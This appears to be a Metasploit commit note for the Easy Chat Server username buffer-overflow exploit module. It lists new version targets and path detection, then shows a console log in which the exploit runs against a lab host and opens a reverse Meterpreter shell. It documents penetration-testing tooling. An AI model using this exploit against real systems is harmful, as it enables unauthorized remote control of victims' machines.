Update efs_easychatserver_username.rb

Add targets for versions 2.0 to 3.1.
Add install path detection for junk size calculation.
Add version detection for auto targeting.

```
msf exploit(efs_easychatserver_username) > set VERBOSE true
VERBOSE => true
msf exploit(efs_easychatserver_username) > check

[*] 172.1.1.112:80 - Found version: 2.1
[*] 172.1.1.112:80 - Found path: C:\EFS Software\Easy Chat Server2.1
[*] 172.1.1.112:80 - The target appears to be vulnerable.
msf exploit(efs_easychatserver_username) > run

[*] Started reverse handler on 172.1.1.104:4444 
[*] 172.1.1.112:80 - Found version: 2.1
[*] 172.1.1.112:80 - Using path: C:\EFS Software\Easy Chat Server2.1\users\
[*] 172.1.1.112:80 - Sending request (542 bytes) to target (Easy Chat Server 2.1 - 3.1)
[*] Sending stage (770048 bytes) to 172.1.1.112
[*] Meterpreter session 1 opened (172.1.1.104:4444 -> 172.1.1.112:49242) at 2014-06-07 15:45:35 -0400

meterpreter > 
```